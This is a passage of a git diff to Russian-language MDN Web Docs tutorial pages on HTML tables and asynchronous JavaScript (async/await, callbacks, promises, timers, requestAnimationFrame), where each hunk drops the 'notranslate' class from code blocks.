выглядит так:</p> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <th>Animals</th> </tr> @@ -374,7 +374,7 @@ translation_of: Learn/HTML/Tables/Basics <p>Возьмём простой пример:</p> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <th>Data 1</th> <th style="background-color: yellow">Data 2</th> @@ -410,7 +410,7 @@ translation_of: Learn/HTML/Tables/Basics <p>Он не идеален, поскольку нам пришлось повторить информацию о стиле для всех трёх ячеек в столбце (в реальном проекте, возможно, придётся вводить <code>class</code> на всех трёх и вводит правило в таблице стилей). Вместо этого, мы можем задать информацию один раз, в элементе <code><col></code>. <code>Элемент <col></code> задаётся в контейнере <code><colgroup></code> сразу же за открывающим тегом <code><table></code>. Эффект, который мы видели выше, можно задать так:</p> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <colgroup> <col> <col style="background-color: yellow"> @@ -433,7 +433,7 @@ translation_of: Learn/HTML/Tables/Basics <p>Если бы мы хотели применить информацию о стиле к обоим столбцам, мы могли бы просто ввести один элемент <code><col></code> с атрибутом span, таким образом:</p> -<pre class="brush: html notranslate"><colgroup> +<pre class="brush: html"><colgroup> <col style="background-color: yellow" span="2"> </colgroup></pre> diff --git a/files/ru/learn/index.html b/files/ru/learn/index.html index d9b58648ab..9ea49f8f1d 100644 --- a/files/ru/learn/index.html +++ b/files/ru/learn/index.html @@ -87,7 +87,7 @@ translation_of: Learn <li><a href="https://git-scm.com/downloads">Установите Git</a> на свой компьютер. Это основное программное обеспечение системы контроля версий, разрабатываемое компанией GitHub.</li> <li>Откройте <a href="https://www.lifewire.com/how-to-open-command-prompt-2618089">командную строку</a> (Windows) или терминал (<a href="https://help.ubuntu.com/community/UsingTheTerminal">Linux</a>, <a href="https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line">macOS</a>).</li> <li>Чтобы скопировать репозиторий обучающего раздела в папку с именем learning-area в текущем местоположении, на которое указывает ваша командная строка / терминал, используйте следующую команду: - <pre class="notranslate">git clone https://github.com/mdn/learning-area</pre> + <pre>git clone https://github.com/mdn/learning-area</pre> </li> <li>Теперь вы можете войти в директорию и найти нужные вам файлы (с помощью Finder/проводника либо <a href="https://ru.wikipedia.org/wiki/Cd_(%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4%D0%B0)">команды cd</a>).</li> </ol> @@ -97,10 +97,10 @@ translation_of: Learn <ol> <li>В командной строке / терминале войдите в директорию <code>learning-area</code> командой <code>cd</code>. Например, если вы в родительском каталоге: - <pre class="notranslate">cd learning-area</pre> + <pre>cd learning-area</pre> </li> <li>Обновите репозиторий, выполнив следующую команду: - <pre class="notranslate">git pull</pre> + <pre>git pull</pre> </li> </ol> diff --git a/files/ru/learn/javascript/asynchronous/async_await/index.html b/files/ru/learn/javascript/asynchronous/async_await/index.html index 7280fe9843..e64c9cc30b 100644 --- a/files/ru/learn/javascript/asynchronous/async_await/index.html +++ b/files/ru/learn/javascript/asynchronous/async_await/index.html @@ -36,36 +36,36 @@ translation_of: Learn/JavaScript/Asynchronous/Async_await <p>Попробуйте выполнить в консоли браузера следующий код:</p> -<pre class="brush: js notranslate">function hello() { return "Hello" }; +<pre class="brush: js">function hello() { return "Hello" }; hello();</pre> <p>Функция возвращает "Hello" — ничего необычного, верно ?</p> <p>Но что если мы сделаем её асинхронной ? Проверим:</p> -<pre class="brush: js notranslate">async function hello() { return "Hello" }; +<pre class="brush: js">async function hello() { return "Hello" }; hello();</pre> <p>Как было сказано ранее, вызов асинхронной функции возвращает объект Promise.</p> <p>Вот пример с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/async_function">async function expression</a>:</p> -<pre class="brush: js notranslate">let hello = async function() { return "Hello" }; +<pre class="brush: js">let hello = async function() { return "Hello" }; hello();</pre> <p>Также можно использовать стрелочные функции:</p> -<pre class="brush: js notranslate">let hello = async () => { return "Hello" };</pre> +<pre class="brush: js">let hello = async () => { return "Hello" };</pre> <p>Все они в общем случае делают одно и то же.</p> <p>Чтобы получить значение, которое возвращает Promise, мы как обычно можем использовать метод <code>.then()</code>:</p> -<pre class="brush: js notranslate">hello().then((value) => console.log(value))</pre> +<pre class="brush: js">hello().then((value) => console.log(value))</pre> <p>или ещё короче</p> -<pre class="brush: js notranslate">hello().then(console.log) +<pre class="brush: js">hello().then(console.log) </pre> <p>Итак, ключевое слово <code>async</code>, превращает обычную функцию в асинхронную и результат вызова функции оборачивает в Promise. Также асинхронная функция позволяет использовать в своём теле ключевое слово await, о котором далее.</p> @@ -78,7 +78,7 @@ hello();</pre> <p>Небольшой пример:</p> -<pre class="brush: js notranslate">async function hello() { +<pre class="brush: js">async function hello() { return greeting = await Promise.resolve("Hello"); }; @@ -90,7 +90,7 @@ hello().then(alert);</pre> <p>Давайте посмотрим на пример из предыдущей статьи:</p> -<pre class="brush: js notranslate">fetch('coffee.jpg') +<pre class="brush: js">fetch('coffee.jpg') .then(response => { if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); @@ -110,7 +110,7 @@ hello().then(alert);</pre> <p>К этому моменту вы должны понимать как работают Promises, чтобы понять все остальное. Давайте перепишем код используя async/await и оценим разницу.</p> -<pre class="brush: js notranslate">async function myFetch() { +<pre class="brush: js">async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { @@ -134,7 +134,7 @@ myFetch() <p>Так как ключевое слово <code>async</code> заставляет функцию вернуть Promise, мы можем использовать гибридный подход:</p> -<pre class="brush: js notranslate">async function myFetch() { +<pre class="brush: js">async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); @@ -160,7 +160,7 @@ myFetch().then((blob) => { <br> Пример:</p> -<pre class="brush: js notranslate">let response = await fetch('coffee.jpg');</pre> +<pre class="brush: js">let response = await fetch('coffee.jpg');</pre> <p>Значение Promise, которое вернёт <code>fetch()</code> будет присвоено переменной <code>response</code> только тогда, когда оно будет доступно - парсер делает паузу на данной строке дожидаясь этого момента. Как только значение доступно, парсер переходит к следующей строке, в которой создаётся объект <code><a href="/en-US/docs/Web/API/Blob">Blob</a></code> из результата Promise. В этой строке, кстати, также используется <code>await</code>, потому что метод <code>.blob()</code> также возвращает Promise. Когда результат готов, мы возвращаем его наружу из <code>myFetch()</code>.</p> @@ -175,7 +175,7 @@ myFetch().then((blob) => { <p>Мы можем использовать синхронную <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code> структуру с <code>async</code>/<code>await</code>. Вот изменённая версия первого примера выше:</p> -<pre class="brush: js notranslate">async function myFetch() { +<pre class="brush: js">async function myFetch() { try { let response = await fetch('coffee.jpg'); @@ -199,7 +199,7 @@ myFetch();</pre> <p>Если вы хотите использовать гибридный подходы (пример выше), лучше использовать блок <code>.catch()</code> после блока <code>.then()</code> вот так:</p> -<pre class="brush: js notranslate">async function myFetch() { +<pre class="brush: js">async function myFetch() { let response = await fetch('coffee.jpg'); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); @@ -233,7 +233,7 @@ myFetch().then((blob) => { <p>Версия с async/await (смотрите <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/promise-all-async-await.html">live demo</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/promise-all-async-await.html">source code</a>), сейчас выглядит так:</p> -<pre class="brush: js notranslate">async function fetchAndDecode(url, type) { +<pre class="brush: js">async function fetchAndDecode(url, type) { let response = await fetch(url); let content; @@ -282,7 +282,7 @@ displayContent() <p>Вы видите, что мы легко изменили <code>fetchAndDecode()</code> функцию в асинхронный вариант. Взгляните на строку с <code>Promise.all()</code>:</p> -<pre class="brush: js notranslate">let values = await Promise.all([coffee, tea, description]);</pre> +<pre class="brush: js">let values = await Promise.all([coffee, tea, description]);</pre> <p>С помощью <code>await</code> мы ждём массив результатов всех трёх Promises и присваиваем его в переменную <code>values</code>. Это асинхронный код, но он написан в синхронном стиле, за счёт чего он гораздо читабельнее.<br> <br> @@ -306,7 +306,7 @@ displayContent() <p>Мы подготовили два примера — <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/slow-async-await.html">slow-async-await.html</a> (см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/slow-async-await.html">source code</a>) и <a href="https://mdn.github.io/learning-area/javascript/asynchronous/async-await/fast-async-await.html">fast-async-await.html</a> (см. <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/async-await/fast-async-await.html">source code</a>). Они оба начинаются с функции возвращающей promise, имитирующей асинхронность процессов при помощи вызова <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code>:</p> -<pre class="brush: js notranslate">function timeoutPromise(interval) { +<pre class="brush: js">function timeoutPromise(interval) { return new Promise((resolve, reject) => { setTimeout(function(){ resolve("done"); @@ -316,13 +316,13 @@ displayContent() <p>Далее в каждом примере есть асинхронная функция <code>timeTest()</code> ожидающая три вызова <code>timeoutPromise()</code>:</p> -<pre class="brush: js notranslate">async function timeTest() { +<pre class="brush: js">async function timeTest() { ... }</pre> <p>В каждом примере функция записывает время начала исполнения и сколько времени понадобилось на исполнение <code>timeTest()</code> промисов, вычитая время в момент запуска функции из времени в момент разрешения промисов:</p> -<pre class="brush: js notranslate">let startTime = Date.now(); +<pre class="brush: js">let startTime = Date.now(); timeTest().then(() => { let finishTime = Date.now(); let timeTaken = finishTime - startTime; @@ -333,7 +333,7 @@ timeTest().then(() => { <p>В случае с медленным примером <code>slow-async-await.html</code>, <code>timeTest()</code> выглядит:</p> -<pre class="brush: js notranslate">async function timeTest() { +<pre class="brush: js">async function timeTest() { await timeoutPromise(3000); await timeoutPromise(3000); await timeoutPromise(3000); @@ -343,7 +343,7 @@ timeTest().then(() => { <p>Во втором <code>fast-async-await.html</code> примере, функция <code>timeTest()</code> выглядит как:</p> -<pre class="brush: js notranslate">async function timeTest() { +<pre class="brush: js">async function timeTest() { const timeoutPromise1 = timeoutPromise(3000); const timeoutPromise2 = timeoutPromise(3000); const timeoutPromise3 = timeoutPromise(3000); @@ -365,7 +365,7 @@ timeTest().then(() => { <p>В качестве последнего замечания, вы можете использовать <code>async</code> перед методами классов или объектов, вынуждая их возвращать promises. А также await внутри методов объявленных таким образом. Посмотрите на пример <a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#ECMAScript_2015_Classes">ES class code, который мы наблюдали в статье object-oriented JavaScript</a>, и сравните его с модифицированной (асинхронной) <code>async</code> версией ниже:</p> -<pre class="brush: js notranslate">class Person { +<pre class="brush: js">class Person { constructor(first, last, age, gender, interests) { this.name = { first, @@ -389,7 +389,7 @@ let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);</pre> <p>Первый метод класса теперь можно использовать таким образом:</p> -<pre class="brush: js notranslate">han.greeting().then(console.log);</pre> +<pre class="brush: js">han.greeting().then(console.log);</pre> <h2 id="Browser_support_Поддержка_браузерами">Browser support (Поддержка браузерами)</h2> diff --git a/files/ru/learn/javascript/asynchronous/concepts/index.html b/files/ru/learn/javascript/asynchronous/concepts/index.html index bdc84b6f72..fe4e6c7343 100644 --- a/files/ru/learn/javascript/asynchronous/concepts/index.html +++ b/files/ru/learn/javascript/asynchronous/concepts/index.html @@ -45,7 +45,7 @@ translation_of: Learn/JavaScript/Asynchronous/Concepts <p>В нашем <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing">simple-sync.html</a> примере (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">see it running live</a>), добавим кнопке событие на клик, чтобы при нажатии на неё запускалась трудоёмкая операция (расчёт 10000000 дат, и вывод последней рассчитанной даты на консоль) после чего в DOM добавляется ещё один параграф:</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); btn.addEventListener('click', () => { let myDate; for(let i = 0; i < 10000000; i++) { @@ -75,7 +75,7 @@ btn.addEventListener('click', () => { <li>Кнопка "Click me for alert", при нажатии показывает предупреждение.</li> </ul> -<pre class="brush: js notranslate">function expensiveOperation() { +<pre class="brush: js">function expensiveOperation() { for(let i = 0; i < 1000000; i++) { ctx.fillStyle = 'rgba(0,0,255, 0.2)'; ctx.beginPath(); @@ -102,24 +102,24 @@ alertBtn.addEventListener('click', () => <p>Под <strong>потоком,</strong> обычно, понимают одиночный процесс, который может использовать программа, для выполнения своих нужд. Каждый поток может выполнять только одну в текущий момент времени:</p> -<pre class="notranslate">Task A --> Task B --> Task C</pre> +<pre>Task A --> Task B --> Task C</pre> <p>Каждая задача будет выполнена последовательно; только когда текущая задача завершится, следующая сможет начаться.</p> <p>Как мы говорили выше, большинство компьютеров теперь имеют процессор с несколькими ядрами, т.е. могут выполнять несколько задач одновременно. Языки программирования, поддерживающие многопоточность, могут использовать несколько ядер, чтобы выполнять несколько задач одновременно:</p> -<pre class="notranslate">Thread 1: Task A --> Task B +<pre>Thread 1: Task A --> Task B Thread 2: Task C --> Task D</pre> <h3 id="JavaScript_однопоточный">JavaScript однопоточный</h3> <p>JavaScript, традиционно для скриптовых языков, однопоточный. Даже, если есть несколько ядер, вы можете использовать их только для выполнения задач в одном потоке, называемом <strong>основной поток</strong>. Наш пример выше, выполняется следующим образом:</p> -<pre class="notranslate">Main thread: Render circles to canvas --> Display alert()</pre> +<pre>Main thread: Render circles to canvas --> Display alert()</pre> <p>В итоге, JavaScript получил несколько инструментов, которые могут помочь в решении подобных проблем. <a href="/en-US/docs/Web/API/Web_Workers_API">Web workers</a> позволяют вам обработать некоторый JavaScript-код в отдельном потоке, который называется обработчик, таким образом вы можете запускать отдельные блоки JavaScript-кода одновременно. В основном, вы будете использовать воркеры, чтобы запустить ресурсоёмкий процесс, отдельно от основного потока, чтобы не блокировать действия пользователя.</p> -<pre class="notranslate"> Main thread: Task A --> Task C +<pre> Main thread: Task A --> Task C Worker thread: Expensive task B</pre> <p>Помня об этом, выполните наш следующий пример <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">посмотреть пример в действии</a>), с открытой консолью. Это переписанный предыдущий пример, который теперь рассчитывает 10 миллионов дат в отдельном потоке обработчика. Теперь, когда вы нажимаете на кнопку, браузер может добавить новый элемент на страницу, до того как все даты будут посчитаны. Самая первая операция больше не блокирует выполнение следующей.</p> @@ -130,18 +130,18 @@ Worker thread: Expensive task B</pre> <p>Следующая проблема заключается в том, что даже если код запущенный в воркере ничего не блокирует, он в целом остаётся синхронным. Это проблема появляется, когда какой-то функции требуются результаты выполнения нескольких предыдущих функций. Рассмотрим следующую диаграмму потоков:</p> -<pre class="notranslate">Main thread: Task A --> Task B</pre> +<pre>Main thread: Task A --> Task B</pre> <p>В этом примере, предположим Task A делает что-то вроде получения картинки с сервера а Task B затем делает что-нибудь с полученной картинкой, например, применяет к ней фильтр. Если запустить выполняться Task A и тут же попытаться выполнить Task B, то вы получите ошибку, поскольку картинка ещё не будет доступна.</p> -<pre class="notranslate"> Main thread: Task A --> Task B --> |Task D| +<pre> Main thread: Task A --> Task B --> |Task D| Worker thread: Task C -----------> | |</pre> <p>Теперь, давайте предположим, что Task D использует результат выполнения обеих задач Task B и Task C. Если мы уверенны, что оба результата будут доступны одновременно, тогда не возникнет проблем, однако, часто это не так. Если Task D попытаться запустить, когда какого-то нужного ей результата ещё нет, выполнение закончится ошибкой.</p> <p>Чтобы избежать подобных проблем, браузеры позволяют нам выполнять определённые операции асинхронно. Такие возможности, как <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> позволяют запустить некоторую операцию (например, получение картинки с сервера), и затем подождать пока операция не вернёт результат, перед тем как начать выполнение другой задачи:</p> -<pre class="notranslate">Main thread: Task A Task B +<pre>Main thread: Task A Task B Promise: |__async operation__|</pre> <p>Поскольку операция выполняется где-то отдельно, основной поток не блокируется, при выполнении асинхронных задач.</p> diff --git a/files/ru/learn/javascript/asynchronous/introducing/index.html b/files/ru/learn/javascript/asynchronous/introducing/index.html index 2d457b6888..0b53770834 100644 --- a/files/ru/learn/javascript/asynchronous/introducing/index.html +++ b/files/ru/learn/javascript/asynchronous/introducing/index.html @@ -36,7 +36,7 @@ translation_of: Learn/JavaScript/Asynchronous/Introducing <p>Большая часть функциональности, которую мы рассматривали в предыдущих обучающих модулях, является синхронной — вы запускаете какой-то код, а результат возвращается, как только браузер может его вернуть. Давайте рассмотрим простой пример ( посмотрите <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html">онлайн</a>, как это работает и посмотрите <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html">исходный код</a>):</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); btn.addEventListener('click', () => { alert('You clicked me!'); @@ -65,7 +65,7 @@ btn.addEventListener('click', () => { <p>Так и в примере выше: после нажатия кнопки абзац не сможет появиться пока не будет нажата кнопка OK в окне сообщения. Попробуйте сами:</p> <div class="hidden"> -<pre class="brush: html notranslate"><<span class="pl-ent">button</span>>Нажми меня</<span class="pl-ent">button</span>></pre> +<pre class="brush: html"><<span class="pl-ent">button</span>>Нажми меня</<span class="pl-ent">button</span>></pre> </div> <p>{{EmbedLiveSample('Синхронный_JavaScript', '100%', '70px')}}</p> @@ -80,7 +80,7 @@ btn.addEventListener('click', () => { <p>Почему трудно работать, используя синхронный код? Давайте посмотрим на небольшой пример. Когда вы получаете картинку с сервера, вы не можете мгновенно вернуть результат. Это значит что следующий (псевдо) код не сработает:</p> -<pre class="brush: js notranslate">let response = fetch('myImage.png'); +<pre class="brush: js">let response = fetch('myImage.png'); let blob = response.blob(); // display your image blob in the UI somehow</pre> @@ -94,7 +94,7 @@ let blob = response.blob(); <p>Пример асинхронного колбэка вторым параметром {{domxref("EventTarget.addEventListener", "addEventListener()")}} (как мы видели выше):</p> -<pre class="brush: js notranslate">btn.addEventListener('click', () => { +<pre class="brush: js">btn.addEventListener('click', () => { alert('You clicked me!'); let pElem = document.createElement('p'); @@ -108,7 +108,7 @@ let blob = response.blob(); <p>Вы можете написать свою собственную функцию, содержащую колбэк-функцию. Давайте взглянем на ещё один пример, в котором происходит загрузка ресурсов через <a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code> API</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/xhr-async-callback.html">запустите пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/xhr-async-callback.html">посмотрите исходный код</a>):</p> -<pre class="brush: js notranslate">function loadAsset(url, type, callback) { +<pre class="brush: js">function loadAsset(url, type, callback) { let xhr = new XMLHttpRequest(); xhr.open('GET', url); xhr.responseType = type; @@ -136,7 +136,7 @@ loadAsset('coffee.jpg', 'blob', displayImage);</pre> <p>Заметьте, что не все колбэк-функции асинхронны — некоторые запускаются синхронно. Например, при использовании {{jsxref("Array.prototype.forEach()")}} для перебора элементов массива (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/foreach.html">запустите пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/foreach.html">посмотрите исходный код</a>):</p> -<pre class="brush: js notranslate">const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus']; +<pre class="brush: js">const gods = ['Apollo', 'Artemis', 'Ares', 'Zeus']; gods.forEach(function (eachName, index){ console.log(index + '. ' + eachName); @@ -148,7 +148,7 @@ gods.forEach(function (eachName, index){ <p>Промисы — новый стиль написания асинхронного кода, который используется в современных Web API. Хорошим примером является <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch()</a></code> API, который современнее и эффективнее чем {{domxref("XMLHttpRequest")}}. Посмотрим на краткий пример, из нашей статьи <a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a>:</p> -<pre class="brush: js notranslate">fetch('products.json').then(function(response) { +<pre class="brush: js">fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { products = json; @@ -195,7 +195,7 @@ gods.forEach(function (eachName, index){ <p>Давайте рассмотрим пример, который дополнительно иллюстрирует природу асинхронного кода, показывая, что может произойти, когда мы не полностью осознаем порядок выполнения кода, и проблемы, связанные с попыткой трактовать асинхронный код как синхронный. Следующий пример довольно похож на тот, что мы видели раньше (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync.html">запустите пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">посмотреть исходный код</a>). Одно из отличий состоит в том, что мы включили ряд операторов {{domxref("console.log()")}} чтобы проиллюстрировать порядок, в котором, как вы думаете, будет выполняться код.</p> -<pre class="brush: js notranslate">console.log ('Starting'); +<pre class="brush: js">console.log ('Starting'); let image; fetch('coffee.jpg').then((response) => { @@ -226,7 +226,7 @@ console.log ('All done!');</pre> <p>Если вы запутались, рассмотрим следующий небольшой пример:</p> -<pre class="brush: js notranslate">console.log("registering click handler"); +<pre class="brush: js">console.log("registering click handler"); button.addEventListener('click', () => { console.log("get click"); @@ -240,11 +240,11 @@ console.log("all done");</pre> <p>Чтобы увидеть это в действии, попробуйте взять локальную копию нашего <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync.html">примера</a> и измените третий вызов <code>console.log ()</code> следующим образом:</p> -<pre class="brush: js notranslate">console.log ('All done! ' + image + 'displayed.');</pre> +<pre class="brush: js">console.log ('All done! ' + image + 'displayed.');</pre> <p>Теперь вместо третьего сообщения должна возникнуть следующая ошибка:</p> -<pre class="notranslate"><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre> +<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">TypeError: image is undefined; can't access its "src" property</span></span></span></pre> <p>Это происходит потому, что в то же время браузер пытается запустить третий <code>console.log()</code>, блок <code>fetch()</code> ещё не закончил выполнение, поэтому переменная <code>image</code> ещё не имеет значения.</p> diff --git a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html index 8d00ba98af..19019a19a9 100644 --- a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html +++ b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html @@ -64,13 +64,13 @@ original_slug: Learn/JavaScript/Asynchronous/Таймауты_и_интерва <p>В следующем примере, браузер будет ожидать две секунды перед тем как выполнит анонимную функцию, тогда отобразит сообщение (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">живой пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/simple-settimeout.html">исходный код</a>):</p> -<pre class="brush: js notranslate">let myGreeting = setTimeout(function() { +<pre class="brush: js">let myGreeting = setTimeout(function() { alert('Hello, Mr. Universe!'); }, 2000)</pre> <p>Указанные вами функции не обязательно должны быть анонимными. Вы можете дать своей функции имя и даже определить её где-нибудь ещё и передать ссылку на функцию в setTimeout (). Следующие две версии фрагмента кода эквивалентны первой:</p> -<pre class="brush: js notranslate">// С именованной функцией +<pre class="brush: js">// С именованной функцией let myGreeting = setTimeout(function sayHi() { alert('Hello, Mr. Universe!'); }, 2000) @@ -92,19 +92,19 @@ let myGreeting = setTimeout(sayHi, 2000);</pre> <p>Например, вы можете реорганизовать предыдущую функцию, чтобы она передавала привет любому имени, переданному ей:</p> -<pre class="brush: js notranslate">function sayHi(who) { +<pre class="brush: js">function sayHi(who) { alert(`Hello ${who}!`); }</pre> <p>Теперь вы можете передать имя в вызов setTimeout () в качестве третьего параметра:</p> -<pre class="brush: js notranslate">let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');</pre> +<pre class="brush: js">let myGreeting = setTimeout(sayHi, 2000, 'Mr. Universe');</pre> <h3 id="Очистка_таймаутов">Очистка таймаутов</h3> <p>Наконец, если был создан тайм-аут, вы можете отменить его до истечения указанного времени, вызвав <code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/clearTimeout">clearTimeout()</a></code>, передав ему идентификатор вызова <code>setTimeout()</code> в качестве параметра. Итак, чтобы отменить указанный выше тайм-аут, вы должны сделать следующее:</p> -<pre class="brush: js notranslate">clearTimeout(myGreeting);</pre> +<pre class="brush: js">clearTimeout(myGreeting);</pre> <div class="blockIndicator note"> <p><strong>Note</strong>: См.<code><a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/greeter-app.html">greeter-app.html</a></code> для более полной демонстрации, которая позволяет вам указать имя для приветствия и отменить приветствие с помощью отдельной кнопки (<a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/greeter-app.html">см. исходный код</a>).</p> @@ -118,7 +118,7 @@ let myGreeting = setTimeout(sayHi, 2000);</pre> <p>Давайте посмотрим на пример. Следующая функция создаёт новый объект <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>, с помощью <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code> извлекает из него строку с временем и отображает её в пользовательском интерфейсе. Затем он запускает функцию один раз в секунду с помощью <code>setInterval()</code>, создавая эффект цифровых часов, которые обновляются раз в секунду (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html"> реальный пример</a>, и <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">исходный код</a>):</p> -<pre class="brush: js notranslate">function displayTime() { +<pre class="brush: js">function displayTime() { let date = new Date(); let time = date.toLocaleTimeString(); document.getElementById('demo').textContent = time; @@ -132,7 +132,7 @@ const createClock = setInterval(displayTime, 1000);</pre> <p><code>setInterval () </code>выполняет задачу постоянно. setInterval () продолжает выполнять задачу вечно, если вы что-то с ней не сделаете. Возможно, вам понадобится способ остановить такие задачи, иначе вы можете получить ошибки, если браузер не сможет выполнить какие-либо другие версии задачи или если анимация, обрабатываемая задачей, завершилась. Вы можете сделать это так же, как останавливаете <code>timeouts</code> - передавая идентификатор, возвращаемый вызовом <code>setInterval ()</code>, в функцию <code>clearInterval ()</code>:</p> -<pre class="brush: js notranslate">const myInterval = setInterval(myFunction, 2000); +<pre class="brush: js">const myInterval = setInterval(myFunction, 2000); clearInterval(myInterval);</pre> @@ -182,7 +182,7 @@ clearInterval(myInterval);</pre> <p>В приведённом ниже примере используется рекурсивный setTimeout () для запуска переданной функции каждые 100 миллисекунд:</p> -<pre class="brush: js notranslate">let i = 1; +<pre class="brush: js">let i = 1; setTimeout(function run() { console.log(i); @@ -192,7 +192,7 @@ setTimeout(function run() { <p>Сравните приведённый выше пример со следующим - здесь используется <code>setInterval ()</code> для достижения того же эффекта:</p> -<pre class="brush: js notranslate">let i = 1; +<pre class="brush: js">let i = 1; setInterval(function run() { console.log(i); @@ -217,7 +217,7 @@ setInterval(function run() { <p>Например, код приведённый ниже (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/zero-settimeout.html">рабочий код</a>) выводит alert содержащий <code>"Hello"</code>, затем alert содержащий <code>"World"</code> как только вы нажмёте ОК в первом alert.</p> -<pre class="brush: js notranslate">setTimeout(function() { +<pre class="brush: js">setTimeout(function() { alert('World'); }, 0); @@ -243,7 +243,7 @@ alert('Hello');</pre> <p>Метод принимает в качестве аргумента колбэк, который должен быть вызван перед перерисовкой. Это общий шаблон, в котором он используется:</p> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { // Drawing code goes here requestAnimationFrame(draw); } @@ -272,7 +272,7 @@ draw();</pre> <p>Давайте поговорим ещё немного о том, чем метод <code>requestAnimationFrame ()</code> отличается от других методов, используемых ранее. Глядя на наш код сверху:</p> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { // Drawing code goes here requestAnimationFrame(draw); } @@ -281,7 +281,7 @@ draw();</pre> <p>Такой же код с использованием <code>setInterval()</code>:</p> -<pre class="brush: js notranslate">function draw() { +<pre class="brush: js">function draw() { // Drawing code goes here } @@ -297,7 +297,7 @@ setInterval(draw, 17);</pre> <p>Это полезно, поскольку позволяет запускать вещи в определённое время и в постоянном темпе, независимо от того, насколько быстрым или медленным может быть ваше устройство. Общий шаблон, который вы бы использовали, выглядит примерно так:</p> -<pre class="brush: js notranslate">let startTime = null; +<pre class="brush: js">let startTime = null; function draw(timestamp) { if (!startTime) { @@ -337,7 +337,7 @@ draw();</pre> <li> <p>Примените следующий CSS к HTML шаблону (любым предпочитаемым способом). Он установ красный фон на странице, высоту <code><body></code> равную <code>100%</code> высоты {{htmlelement("html")}} , и центрирует <code><div></code> внутри <code><body></code>, по горизонтали и вертикали.</p> - <pre class="brush: css notranslate">html { + <pre class="brush: css">html { background-color: white; height: 100%; } @@ -362,7 +362,7 @@ div { <li> <p>Разместите следующий JavaScript-код в <code><script></code> . Здесь вы сохраняете ссылку на <code><div></code> внутри, устанавливаете для переменной <code>rotateCount</code> значение <code>0</code>, устанавливаете неинициализированную переменную, которая позже будет использоваться для хранения ссылки на вызов <code>requestAnimationFrame()</code>, и устанавливаете для переменной <code>startTime</code> значение <code>null</code>, которая будет позже использоваться для хранения времени начала <code>requestAnimationFrame()</code>.</p> - <pre class="brush: js notranslate">const spinner = document.querySelector('div'); + <pre class="brush: js">const spinner = document.querySelector('div'); let rotateCount = 0; let startTime = null; let rAF; @@ -371,14 +371,14 